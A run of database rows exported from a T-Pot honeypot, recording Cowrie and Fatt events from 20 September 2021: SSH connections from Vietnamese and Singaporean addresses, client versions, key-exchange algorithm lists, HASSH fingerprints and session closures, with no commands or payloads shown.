26854	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:10.92527+03	2021-09-20 14:15:13.81368+03	{"_id": "EwboAnwBvYTbRNuE7CRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d1a5201b7b17", "@version": "1", "duration": 3.702812433242798, "timestamp": "2021-09-20T11:13:10.925270Z", "@timestamp": "2021-09-20T11:13:10.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26855	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:11.220363+03	2021-09-20 14:15:13.815648+03	{"_id": "FAboAnwBvYTbRNuE7CRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b882088f7b09", "@version": "1", "duration": 2.6786656379699707, "timestamp": "2021-09-20T11:13:11.220363Z", "@timestamp": "2021-09-20T11:13:11.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26856	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:11.599946+03	2021-09-20 14:15:13.816674+03	{"_id": "FQboAnwBvYTbRNuE7CRH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "08ae133585e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:11.599946Z", "@timestamp": "2021-09-20T11:13:11.599Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26857	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:11.461378+03	2021-09-20 14:15:13.817677+03	{"_id": "FgboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35662 (192.168.176.2:22) [session: 8fbef170f13c]", "session": "8fbef170f13c", "@version": "1", "protocol": "ssh", "src_port": 35662, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.461378Z", "@timestamp": "2021-09-20T11:13:11.461Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26858	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:11.597084+03	2021-09-20 14:15:13.818679+03	{"_id": "FwboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:55578 (192.168.176.2:22) [session: 08ae133585e1]", "session": "08ae133585e1", "@version": "1", "protocol": "ssh", "src_port": 55578, "dest_port": 22, "timestamp": "2021-09-20T11:13:11.597084Z", "@timestamp": "2021-09-20T11:13:11.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26859	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:10.860374+03	2021-09-20 14:15:13.820648+03	{"_id": "KAboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "517e1283a7dc", "@version": "1", "timestamp": "2021-09-20T11:13:10.860374Z", "@timestamp": "2021-09-20T11:13:10.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26860	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:10.91028+03	2021-09-20 14:15:13.822647+03	{"_id": "KQboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d744bcfcb525", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:10.910280Z", "@timestamp": "2021-09-20T11:13:10.910Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26861	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:11.17111+03	2021-09-20 14:15:13.823675+03	{"_id": "KgboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d744bcfcb525", "@version": "1", "timestamp": "2021-09-20T11:13:11.171110Z", "@timestamp": "2021-09-20T11:13:11.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
26862	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:11.622661+03	2021-09-20 14:15:13.824672+03	{"_id": "KwboAnwBvYTbRNuE7CRM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e40157bc7392", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:11.622661Z", "@timestamp": "2021-09-20T11:13:11.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26863	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:02.55167+03	2021-09-20 14:15:13.825677+03	{"_id": "SgboAnwBvYTbRNuEySMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:45610 (192.168.176.2:22) [session: f1a4afaad69d]", "session": "f1a4afaad69d", "@version": "1", "protocol": "ssh", "src_port": 45610, "dest_port": 22, "timestamp": "2021-09-20T11:13:02.551670Z", "@timestamp": "2021-09-20T11:13:02.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26864	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:02.83062+03	2021-09-20 14:15:13.827648+03	{"_id": "TgboAnwBvYTbRNuEzCNO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45610, "dest_port": 22, "timestamp": "2021-09-20T11:13:02.830620", "@timestamp": "2021-09-20T11:13:02.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26865	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:03.408225+03	2021-09-20 14:15:13.828674+03	{"_id": "UAboAnwBvYTbRNuEzCP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:54506 (192.168.176.2:22) [session: 8f363cb2cb8f]", "session": "8f363cb2cb8f", "@version": "1", "protocol": "ssh", "src_port": 54506, "dest_port": 22, "timestamp": "2021-09-20T11:13:03.408225Z", "@timestamp": "2021-09-20T11:13:03.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26866	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:03.438303+03	2021-09-20 14:15:13.829677+03	{"_id": "UQboAnwBvYTbRNuEzCP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8f363cb2cb8f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:03.438303Z", "@timestamp": "2021-09-20T11:13:03.438Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26867	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:13:02.721915+03	2021-09-20 14:15:13.830674+03	{"_id": "WgboAnwBvYTbRNuEzCP_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "128.199.123.0", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "de515b57e106", "@version": "1", "duration": 0.3487696647644043, "duplicate": true, "timestamp": "2021-09-20T11:13:02.721915Z", "@timestamp": "2021-09-20T11:13:02.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
